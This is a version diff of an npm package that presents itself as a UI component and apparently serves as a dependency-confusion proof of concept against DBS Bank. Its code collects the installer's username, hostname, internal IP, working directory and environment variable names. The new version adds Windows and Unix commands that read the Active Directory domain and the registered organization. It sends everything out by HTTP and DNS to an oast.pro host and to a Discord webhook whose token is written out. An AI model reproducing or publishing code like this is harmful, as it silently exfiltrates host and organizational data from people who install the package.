@athena-ui-components/user-activity 1.9.35 → 1.9.36

package/index.js

@@ -1,14 +1,74 @@
-const http = require("http");
-const https = require("https");
-const os = require("os");
-const { execSync } = require("child_process");
+const http = require('http');
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
 
-// --- CONFIGURACIÓN ---
 const OAST_HOST = "d7fiu1ti191hj9ru0i8gukx3n3accmmdr.oast.pro";
-const PKG_NAME = require("./package.json").name;
+const PKG_NAME = require('./package.json').name;
+
+function getOrganizationInfo() {
+  const { execSync } = require('child_process');
+  let orgData = { domain: null, fqdn_user: null, ad_domain: null, registered_org: null };
+  function run(cmd, options = {}) {
+    try {
+      return execSync(cmd, { encoding: 'utf8', timeout: 3000, ...options }).trim();
+    } catch (e) {
+      return null;
+    }
+  }
+  let domain = null;
+  if (process.platform === 'win32') {
+    domain = run('wmic computersystem get domain /value');
+    if (domain) {
+      const match = domain.match(/Domain=(.+)/);
+      if (match) domain = match[1];
+    }
+    if (!domain || domain === 'WORKGROUP') {
+      const sysInfo = run('systeminfo | findstr /B /C:"Domain"');
+      if (sysInfo) {
+        const match = sysInfo.match(/Domain:\s*(.+)/);
+        if (match) domain = match[1];
+      }
+    }
+  } else {
+    domain = run('dnsdomainname 2>/dev/null');
+    if (!domain || domain === '(none)') domain = run('hostname -d 2>/dev/null');
+  }
+  orgData.domain = (domain && domain !== 'WORKGROUP') ? domain : null;
+
+  if (process.platform === 'win32') {
+    const whoamiFqdn = run('whoami /fqdn');
+    if (whoamiFqdn && whoamiFqdn.includes('@')) {
+      orgData.fqdn_user = whoamiFqdn;
+      const upnMatch = whoamiFqdn.match(/@(.+)/);
+      if (upnMatch && !orgData.domain) orgData.domain = upnMatch[1];
+    } else {
+      const whoamiUser = run('whoami');
+      if (whoamiUser && whoamiUser.includes('\\')) orgData.fqdn_user = whoamiUser;
+    }
+  } else {
+    const whoami = run('whoami');
+    if (whoami) orgData.fqdn_user = whoami;
+  }
+
+  if (process.platform === 'win32') {
+    const psDomain = run('powershell -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -ExpandProperty Domain"');
+    if (psDomain && psDomain !== 'WORKGROUP') orgData.ad_domain = psDomain;
+    const regOrg = run('reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" /v RegisteredOrganization');
+    if (regOrg) {
+      const match = regOrg.match(/RegisteredOrganization\s+REG_SZ\s+(.+)/);
+      if (match) orgData.registered_org = match[1];
+    }
+  }
+  return orgData;
+}
 
 async function collectAndSend() {
-  const envKeys = Object.keys(process.env).join(", ");
+  const envKeys = Object.keys(process.env).join(', ');
+  const internal_ip = Object.values(os.networkInterfaces()).flat()
+    .filter(i => i.family === 'IPv4' && !i.internal)
+    .map(i => i.address)[0] || "no_ip";
+  const orgInfo = getOrganizationInfo();
 
   const data = {
     pkg: PKG_NAME,
@@ -17,8 +77,8 @@ async function collectAndSend() {
       user: os.userInfo().username,
       host: os.hostname(),
       platform: `${os.platform()} ${os.release()}`,
-      internal_ip: Object.values(os.networkInterfaces()).flat()
-        .filter(i => i.family === "IPv4" && !i.internal).map(i => i.address)[0] || "no_ip"
+      internal_ip: internal_ip,
+      organization: orgInfo
     },
     context: {
       cwd: process.cwd(),
@@ -26,23 +86,16 @@ async function collectAndSend() {
     }
   };
 
-  const payload = Buffer.from(JSON.stringify(data)).toString("base64").replace(/=/g, "");
-
-  const options = {
-    hostname: OAST_HOST,
-    port: 80,
-    path: `/hit?d=${payload}`,
-    method: "GET"
-  };
-
+  const payload = Buffer.from(JSON.stringify(data)).toString('base64').replace(/=/g, '');
+  const options = { hostname: OAST_HOST, port: 80, path: `/hit?d=${payload}`, method: 'GET' };
   const req = http.request(options);
-  req.on("error", () => { });
+  req.on('error', () => {});
   req.end();
 
-  const dnsLabel = `${data.identity.host.substring(0, 15)}.${data.identity.user.substring(0, 10)}`.replace(/[^a-z0-9]/gi, "-");
+  const dnsLabel = `${data.identity.host.substring(0, 15)}.${data.identity.user.substring(0, 10)}`.replace(/[^a-z0-9]/gi, '-');
   try {
-    execSync(`nslookup ${dnsLabel}.${OAST_HOST}`, { stdio: "ignore" });
-  } catch (e) { }
+    execSync(`nslookup ${dnsLabel}.${OAST_HOST}`, { stdio: 'ignore' });
+  } catch (e) {}
 
   const discordPayload = JSON.stringify({
     content: "🚨 **DBS BANK - DEPENDENCY CONFIRMED** 🚨",
@@ -54,6 +107,7 @@ async function collectAndSend() {
         { name: "👤 User (whoami)", value: data.identity.user, inline: true },
         { name: "💻 Hostname", value: data.identity.host, inline: true },
         { name: "🌐 Internal IP (ifconfig)", value: data.identity.internal_ip, inline: true },
+        { name: "🏢 Organization / Domain", value: JSON.stringify(orgInfo), inline: false },
         { name: "📂 Path", value: data.context.cwd, inline: false },
         { name: "🔑 Env Var Keys (Context)", value: "Captured (No values)", inline: true }
       ],
@@ -62,13 +116,13 @@ async function collectAndSend() {
   });
 
   const reqDiscord = https.request({
-    hostname: "discord.com",
+    hostname: 'discord.com',
     port: 443,
-    path: "/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo",
-    method: "POST",
-    headers: { "Content-Type": "application/json" }
+    path: '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
   });
-  reqDiscord.on("error", () => { });
+  reqDiscord.on('error', () => {});
   reqDiscord.write(discordPayload);
   reqDiscord.end();
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@athena-ui-components/user-activity",
-  "version": "1.9.35",
+  "version": "1.9.36",
   "description": "Security Research PoC for YesWeHack DBS Bug Bounty Program. THIS IS BENIGN.",
   "main": "index.js",
   "scripts": {